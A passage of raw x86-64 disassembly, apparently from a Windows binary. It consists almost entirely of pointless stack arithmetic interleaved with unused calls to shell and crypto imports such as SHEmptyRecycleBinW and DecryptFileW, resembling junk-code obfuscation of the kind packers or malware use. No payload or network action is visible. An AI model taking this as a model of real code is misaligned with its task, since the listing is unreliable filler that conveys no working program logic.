mov rax, qword [rsp + 0xdf78]
movzx eax, word [rax]
mov word [0x14019f2fc], ax
mov rax, qword [rsp + 0xda20]
mov rcx, qword [rsp + 0xe080]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9350], rax
mov r8d, 1
lea rdx, [rsp + 0x6e68]
lea rcx, [rsp + 0x2a30]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x6d18], eax
mov rax, qword [rsp + 0xd2e0]
mov rcx, qword [0x14019f0d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd128], rax
movzx eax, word [rsp + 0x1af8]
mov word [rsp + 0x2d88], ax
mov rax, qword [rsp + 0xe318]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe74]
add eax, ecx
mov word [rsp + 0x2ad0], ax
mov rax, qword [rsp + 0xe1f0]
mov ecx, dword [0x14019f2bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6afc], eax
mov rax, qword [rsp + 0xd110]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdb78]
mov qword [rsp + 0xe360], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe360]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc128], rax
mov rax, qword [rsp + 0xe058]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x344]
sar eax, cl
mov rcx, qword [rsp + 0xe1d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xdd90]
mov rax, qword [rax]
mov qword [rsp + 0xe368], rax
mov rax, qword [rsp + 0xe348]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1994]
and eax, ecx
mov word [0x14019d1b8], ax
mov rax, qword [rsp + 0xdf78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28e0]
xor eax, ecx
mov word [rsp + 0x2d54], ax
mov rax, qword [rsp + 0xd0f8]
mov ecx, dword [rsp + 0x5938]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6dd4], eax
lea rax, [rsp + 0x1de]
mov qword [rsp + 0xe370], rax
mov rax, qword [0x14019d128]
mov rcx, qword [rsp + 0xb340]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdc90], rax
mov eax, dword [rsp + 0x61d0]
mov dword [rsp + 0x6f14], eax
mov rax, qword [rsp + 0xbb70]
movzx ecx, al
mov rax, qword [rsp + 0xdcf0]
shl rax, cl
mov qword [rsp + 0xdca0], rax
movsx eax, byte [rsp + 0x4ed]
movsx ecx, byte [0x14019ef93]
sar eax, cl
mov byte [rsp + 0x259], al
movsx eax, word [rsp + 0x213c]
movsx ecx, word [rsp + 0x2bb4]
or eax, ecx
mov word [rsp + 0x151c], ax
movzx eax, word [rsp + 0x2b24]
movzx ecx, word [0x14019d0c8]
sub eax, ecx
mov word [0x14019f2c8], ax
mov rax, qword [rsp + 0xd720]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb570]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe0f8], rax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov word [rsp + 0x2d8c], ax
mov rax, qword [rsp + 0xd9b8]
movsx eax, word [rax]
movsx ecx, word [0x14019d07c]
add eax, ecx
mov word [rsp + 0x2c78], ax
lea rax, [rsp + 0xb570]
mov qword [rsp + 0xe378], rax
mov eax, dword [rsp + 0x6454]
mov ecx, dword [rsp + 0x5fd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x630c], eax
mov rax, qword [rsp + 0xd4f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd400]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd608]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x32a]
movsx ecx, byte [rsp + 0x329]
add eax, ecx
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0xdbd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c58]
and eax, ecx
mov word [rsp + 0x2c18], ax
mov rax, qword [0x14019f268]
mov rax, qword [rax]
mov qword [0x14019f300], rax
mov rax, qword [rsp + 0xda60]
mov eax, dword [rax]
mov dword [rsp + 0x6f18], eax
movzx eax, byte [rsp + 0x514]
mov rcx, qword [rsp + 0xdc50]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x51c], al
mov rax, qword [rsp + 0xdc40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d70]
shl eax, cl
mov rcx, qword [rsp + 0xdb68]
mov word [rcx], ax
mov rax, qword [rsp + 0xe318]
movzx eax, word [rax]
mov word [rsp + 0x2d90], ax
mov rax, qword [rsp + 0xddc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd058]
mov qword [rsp + 0xe380], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe380]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x654c], eax
lea rax, [rsp + 0xadb8]
mov qword [rsp + 0xe388], rax
movsx eax, byte [rsp + 0x114]
mov rcx, qword [rsp + 0xd438]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2b9], al
movsx eax, word [rsp + 0x1dfc]
mov rcx, qword [rsp + 0xda00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bd4], ax
lea rcx, [rsp + 0x1f020]
call qword [sym.imp.SHELL32.dll_ILCloneFirst]
mov qword [rsp + 0xd4e8], rax
mov rax, qword [0x14019f100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xba0]
sub eax, ecx
mov word [0x14019f188], ax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xad88]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xdc30], rax
mov rax, qword [rsp + 0xd380]
movzx ecx, al
mov rax, qword [rsp + 0xbce8]
sar rax, cl
mov qword [rsp + 0x91a8], rax
mov rax, qword [rsp + 0xd768]
mov qword [rsp + 0xe390], rax
mov rax, qword [rsp + 0xe1b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd928]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1af8], ax
mov edx, 0x8c
mov rcx, qword [rsp + 0xe398]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x6bc8], eax
mov rax, qword [0x14019efc8]
mov rcx, qword [rsp + 0xe1f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5870], eax
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0xde20]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd8d0], rax
movsx eax, byte [rsp + 0x148]
mov rcx, qword [0x14019f198]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x32c], al
mov eax, dword [rsp + 0x6458]
mov dword [rsp + 0x6f1c], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x52d]
and eax, ecx
mov byte [rsp + 0x549], al
mov rax, qword [rsp + 0xd2d8]
movsx eax, word [rax]
movsx ecx, word [0x14019f2b8]
sar eax, cl
mov word [0x14019f2f4], ax
movzx eax, word [rsp + 0x2af4]
mov rcx, qword [rsp + 0xe318]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2568], ax
movzx eax, word [rsp + 0x2568]
movzx ecx, word [rsp + 0xcbc]
shl eax, cl
mov word [rsp + 0x1cf4], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [0x14019d0d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xde18], rax
mov eax, dword [rsp + 0x6e78]
mov dword [rsp + 0x6f20], eax
mov rax, qword [rsp + 0xd5d0]
mov rcx, qword [0x14019d1b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd4c8], rax
mov rax, qword [rsp + 0xe328]
movzx eax, byte [rax]
mov byte [rsp + 0x554], al
mov rax, qword [rsp + 0xe348]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
sub eax, ecx
mov word [rsp + 0x2c68], ax
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2d18], ax
mov rax, qword [rsp + 0xdd68]
mov rax, qword [rax]
mov qword [0x14019f308], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c98]
sar eax, cl
mov word [rsp + 0x24d4], ax
mov rax, qword [0x14019f048]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd1e0]
shl rax, cl
mov qword [rsp + 0xe108], rax
mov rax, qword [rsp + 0xde88]
mov rax, qword [rax]
mov qword [rsp + 0xe3a0], rax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d74], eax
mov rax, qword [rsp + 0xd9a0]
mov rcx, qword [rsp + 0xe278]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbc48], rax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd740]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x51a], al
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e70], eax
movzx eax, byte [rsp + 0x2b9]
mov byte [rsp + 0x555], al
movsx eax, word [rsp + 0x2b44]
mov rcx, qword [rsp + 0xda00]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14019d1bc], ax
mov rax, qword [rsp + 0xdf90]
movsx eax, word [rax]
movsx ecx, word [0x14019f080]
or eax, ecx
mov word [rsp + 0x28e4], ax
movzx eax, word [rsp + 0x2a40]
mov word [rsp + 0x2d94], ax
movzx eax, word [rsp + 0x2bcc]
movzx ecx, word [rsp + 0x2cd0]
sar eax, cl
mov word [rsp + 0xcf0], ax
movsx eax, byte [rsp + 0x555]
movsx ecx, byte [0x14019ef92]
sub eax, ecx
mov byte [rsp + 0x53f], al
mov rax, qword [rsp + 0xd9a0]
mov rcx, qword [rsp + 0x9538]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc1e0], rax
mov eax, dword [rsp + 0x6ddc]
mov ecx, dword [rsp + 0x6ea0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe1f0]
mov dword [rcx], eax
mov rax, qword [0x14019f288]
movzx eax, word [rax]
mov word [rsp + 0x2d98], ax
movzx eax, word [rsp + 0x2b24]
mov rcx, qword [rsp + 0xe318]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9ef8]
shl rax, cl
mov qword [0x14019f2e0], rax
mov rax, qword [rsp + 0xd880]
movzx ecx, al
mov rax, qword [0x14019efe8]
sar rax, cl
mov qword [rsp + 0xad00], rax
lea rax, [rsp + 0xd738]
mov qword [rsp + 0xe3a8], rax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xd860]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xe390], rax
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b80]
add eax, ecx
mov word [rsp + 0x2400], ax
mov dword [rsp + 0x20], ILIsParent
lea r9, [rsp + 0x6ed8]
mov r8, qword [rsp + 0xd268]
mov rdx, qword [rsp + 0xcde8]
mov rcx, qword [rsp + 0xd360]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x6f04], eax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4c0], al
mov rax, qword [rsp + 0xdd60]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xd480]
idiv dword [rcx]
mov dword [rsp + 0x5e88], eax
mov rax, qword [rsp + 0xdf20]
mov eax, dword [rax]
mov dword [rsp + 0x6f24], eax
mov rax, qword [rsp + 0xdb78]
mov rcx, qword [rsp + 0xd1c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xd468]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x148]
mov byte [0x14019ef9a], al
mov rax, qword [rsp + 0xe1b0]
movzx eax, word [rax]
mov word [rsp + 0x2d9c], ax
movsx eax, word [rsp + 0x2c8c]
movsx ecx, word [rsp + 0x252c]
and eax, ecx
mov word [rsp + 0x2cf8], ax
movzx eax, word [rsp + 0x2c58]
mov rcx, qword [0x14019f220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eb4], ax
mov rax, qword [rsp + 0xd6d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xdef8]
sar rax, cl
mov qword [rsp + 0xd220], rax
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd3d8]
mov qword [rsp + 0xe3b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe3b0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6eec], eax
mov rax, qword [rsp + 0xdb10]
mov rax, qword [rax]
mov qword [rsp + 0xe3b8], rax
mov rax, qword [rsp + 0xd488]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd9f0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd158]
mov byte [rcx], al
lea rax, [rsp + 0x2c60]
mov qword [rsp + 0xe3c0], rax
mov rax, qword [0x14019efd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xddc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d0e0], ax
mov rax, qword [rsp + 0xe080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbce8], rax
movzx eax, word [rsp + 0x2bbc]
movzx ecx, word [rsp + 0x17c4]
add eax, ecx
mov word [rsp + 0x2be8], ax
mov rax, qword [rsp + 0xd050]
mov rcx, qword [rsp + 0xdbc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5a00], eax
mov rax, qword [rsp + 0xde68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdc50]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x524], al
lea rax, [rsp + 0x440]
mov qword [rsp + 0xe3c8], rax
mov rax, qword [rsp + 0xd1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1c8]
mov qword [rsp + 0xe3d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe3d0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9a78], rax
mov rax, qword [rsp + 0xdbd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d28]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6da8], eax
mov rax, qword [rsp + 0xd5b0]
movzx eax, word [rax]
mov word [rsp + 0x2da0], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdd28]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14019f188], ax
mov rax, qword [str._vrOj]
mov rcx, qword [rsp + 0x92b0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xe130], rax
mov rax, qword [rsp + 0xc920]
mov rcx, qword [rsp + 0xc7a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ca8], rax
movsx eax, word [rsp + 0xec4]
mov rcx, qword [rsp + 0xe0e0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1254], ax
mov rax, qword [rsp + 0xe250]
movzx eax, word [rax]
mov word [rsp + 0x2da4], ax
movsx eax, byte [rsp + 0x54b]
mov rcx, qword [rsp + 0xe3c8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x53a], al
mov rax, qword [rsp + 0xdd50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6b64]
shl eax, cl
mov dword [rsp + 0x6edc], eax
mov rax, qword [rsp + 0xe078]
mov rax, qword [rax]
mov qword [rsp + 0xe3d8], rax
mov rax, qword [rsp + 0xd2a0]
mov rcx, qword [rsp + 0xb340]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd288], rax
movsx eax, word [rsp + 0x2b68]
mov rcx, qword [0x14019f288]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d1c0], ax
lea rdx, [rsp + 0x6e04]
lea rcx, [rsp + 0x6d38]
call qword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [rsp + 0x6f28], eax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b24]
add eax, ecx
mov word [rsp + 0x1d04], ax
movzx eax, byte [rsp + 0x501]
movzx ecx, byte [rsp + 0x47f]
add eax, ecx
mov byte [rsp + 0x53e], al
mov eax, dword [rsp + 0x64c4]
mov ecx, dword [0x14019efa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6eb0], eax
mov rax, qword [rsp + 0xd940]
mov rax, qword [rax]
mov qword [rsp + 0xe3e0], rax
movsx eax, byte [rsp + 0x505]
movsx ecx, byte [rsp + 0x551]
or eax, ecx
mov byte [rsp + 0x488], al
mov rax, qword [rsp + 0xd8c0]
movzx ecx, al
mov rax, qword [0x14019f218]
shr rax, cl
mov qword [rsp + 0xae28], rax
mov rax, qword [rsp + 0xd338]
mov rcx, qword [rsp + 0xdfa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6de0], eax
mov rax, qword [rsp + 0xde90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x196c], ax
mov r8d, 0xa0
mov rdx, qword [rsp + 0xcde0]
mov rcx, qword [rsp + 0xda30]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [rsp + 0x6e60], eax
lea rcx, [rsp + 0x1e370]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0xe3e8], rax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14019efd0]
mov word [rcx], ax
lea rax, [rsp + 0xe270]
mov qword [rsp + 0xe3f0], rax
movzx eax, word [rsp + 0x1ed8]
mov rcx, qword [0x14019f140]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x22a8], ax
lea rax, [rsp + 0x14b0]
mov qword [rsp + 0xe3f8], rax
mov rax, qword [rsp + 0xdda0]
mov rcx, qword [rsp + 0xde18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa538], rax
movsx eax, byte [rsp + 0x4ab]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x550], al
mov rax, qword [rsp + 0xdff0]
mov eax, dword [rax]
mov dword [rsp + 0x6f2c], eax
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0xdbe0]
mov qword [rsp + 0xe400], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe400]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xdee0], rax
movzx eax, word [0x14019f128]
mov word [rsp + 0x2da8], ax
mov rax, qword [rsp + 0xd2b0]
mov qword [0x14019f310], rax
mov rax, qword [rsp + 0xd480]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x64ec]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6af0], eax
mov rax, qword [rsp + 0xde68]
movzx eax, byte [rax]
movzx ecx, byte [0x14019ef90]
sub eax, ecx
mov byte [rsp + 0x1ad], al
movsx eax, word [rsp + 0x2d14]
mov rcx, qword [rsp + 0xd9b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c50], ax
movzx eax, word [rsp + 0x1ba0]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd5f0]
mov word [rcx], ax
mov eax, dword [0x14019f2bc]
mov dword [rsp + 0x6f30], eax
movsx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x525], al
lea rax, [rsp + 0xac30]
mov qword [rsp + 0xe408], rax
movsx eax, word [0x14019d080]
mov rcx, qword [rsp + 0xdd10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1088], ax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2be4]
and eax, ecx
mov word [0x14019d1c4], ax
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xd5a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb570], rax
mov rax, qword [rsp + 0xdd90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcf48]
shl rax, cl
mov qword [rsp + 0xa830], rax
mov rax, qword [rsp + 0xe080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdd68]
mov qword [rsp + 0xe410], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe410]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd048], rax
mov rax, qword [0x14019f240]
movzx eax, word [rax]
mov word [rsp + 0x2dac], ax
mov rax, qword [rsp + 0xe328]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x535], al
mov rax, qword [rsp + 0xd198]
mov rcx, qword [rsp + 0xda70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6edc], eax
mov rax, qword [0x14019f2e8]
mov rax, qword [rax]
mov qword [rsp + 0xe418], rax
mov rax, qword [rsp + 0xda28]
mov ecx, dword [rsp + 0x5b30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6540], eax
lea r9, [rsp + 0xd668]
lea r8, [rsp + 0x1ffe0]
mov edx, SHUpdateImageW
mov ecx, 0x8d
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
lea rax, [rsp + 0x541]
mov qword [rsp + 0xe420], rax
movsx eax, word [rsp + 0x2dac]
mov rcx, qword [rsp + 0xd9b8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14019d0f8], ax
movzx eax, word [rsp + 0x2cb4]
movzx ecx, word [rsp + 0x20f8]
sar eax, cl
mov word [rsp + 0x2a4c], ax
movzx eax, word [rsp + 0xce0]
mov rcx, qword [0x14019f060]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1cc0], ax
mov rax, qword [rsp + 0xd968]
mov rcx, qword [rsp + 0x90d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdeb0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe1d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd0a8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd488]
mov byte [rcx], al
mov rax, qword [rsp + 0xc4d8]
mov qword [rsp + 0xe428], rax
mov eax, dword [rsp + 0x6b68]
mov ecx, dword [rsp + 0x6b88]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x654c], eax
movsx eax, word [rsp + 0x2a88]
mov rcx, qword [rsp + 0xde08]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xbf4], ax
movzx eax, word [0x14019d198]
mov rcx, qword [rsp + 0xdf78]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b2c], ax
mov rax, qword [rsp + 0xd250]
mov rcx, qword [rsp + 0xddf8]
mov qword [rsp + 0xe430], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe430]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14019f118], rax
lea rcx, [rsp + 0x6e90]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x6f28], eax
movzx eax, word [0x14019ef98]
movzx ecx, word [rsp + 0x2b6c]
or eax, ecx
mov word [rsp + 0x2bd4], ax
mov rax, qword [rsp + 0xbfc8]
mov qword [rsp + 0xe438], rax
mov rax, qword [rsp + 0xdd68]
mov rcx, qword [rsp + 0xda20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbf98], rax
movzx eax, byte [0x14019ef91]
mov byte [rsp + 0x556], al
mov rax, qword [rsp + 0xc128]
mov rcx, qword [rsp + 0x9a70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xded0], rax
mov rax, qword [rsp + 0xdb30]
mov rcx, qword [rsp + 0xe198]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5c48], eax
lea rax, [0x14019ef90]
mov qword [rsp + 0xe440], rax
mov rax, qword [rsp + 0xdff0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6da8]
shl eax, cl
mov dword [rsp + 0x6704], eax
movzx eax, word [rsp + 0x1548]
mov word [0x14019f318], ax
lea rax, [rsp + 0x2b0c]
mov qword [rsp + 0xe448], rax
movzx eax, word [0x14019d0ac]
mov rcx, qword [rsp + 0xd630]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2aa0], ax
lea r9, [rsp + 0x20930]
lea r8, [rsp + 0x6e48]
lea rdx, [rsp + 0xdf50]
mov rcx, qword [rsp + 0xcf90]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x6c14], eax
movzx eax, word [rsp + 0x2d4c]
movzx ecx, word [rsp + 0x2cb8]
or eax, ecx
mov word [rsp + 0x26d0], ax
mov eax, dword [rsp + 0x6894]
mov ecx, dword [rsp + 0x6184]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6740], eax
mov rax, qword [rsp + 0xd248]
mov rcx, qword [rsp + 0xd110]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa4b0], rax
lea rax, [rsp + 0x503]
mov qword [rsp + 0xe450], rax
movsx eax, word [rsp + 0x2a6c]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2ab4], ax
lea rax, [rsp + 0xd98]
mov qword [rsp + 0xe458], rax
mov rax, qword [rsp + 0xdd90]
mov rcx, qword [rsp + 0xdeb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14019f280], rax
mov rax, qword [0x14019f048]
mov rcx, qword [rsp + 0xd128]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xdd90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe3a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd680]
sar rax, cl
mov qword [rsp + 0xc338], rax
mov rax, qword [rsp + 0xe0a8]
mov qword [rsp + 0xe460], rax
lea rcx, [rsp + 0x1e430]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0xe468], rax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2894]
shl eax, cl
mov rcx, qword [rsp + 0xe2a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xe198]
mov ecx, dword [rsp + 0x6d44]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6100], eax
mov rax, qword [rsp + 0xdd98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x518]
add eax, ecx
mov byte [rsp + 0x51f], al
mov eax, dword [rsp + 0x654c]
mov ecx, dword [rsp + 0x6e18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6774], eax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov qword [rsp + 0xe470], rax
lea rax, [0x14019ef96]
mov qword [0x14019f320], rax
movsx eax, word [rsp + 0x14b0]
mov rcx, qword [rsp + 0xd398]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2af8], ax
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [rsp + 0x2cd8]
shl eax, cl
mov word [rsp + 0x1ec8], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2380], ax
mov rax, qword [rsp + 0xdeb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe2f0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd650]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdbe0]
mov rax, qword [rax]
mov qword [rsp + 0xe478], rax
movsx eax, byte [rsp + 0x50e]
mov rcx, qword [rsp + 0xe0c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x53f], al
mov rax, qword [rsp + 0xda70]
mov eax, dword [rax]
mov dword [rsp + 0x6f34], eax
movsx eax, word [rsp + 0x2bec]
movsx ecx, word [rsp + 0x2b68]
add eax, ecx
mov word [rsp + 0x2aa4], ax
movzx eax, word [0x14019d090]
mov rcx, qword [rsp + 0xd828]
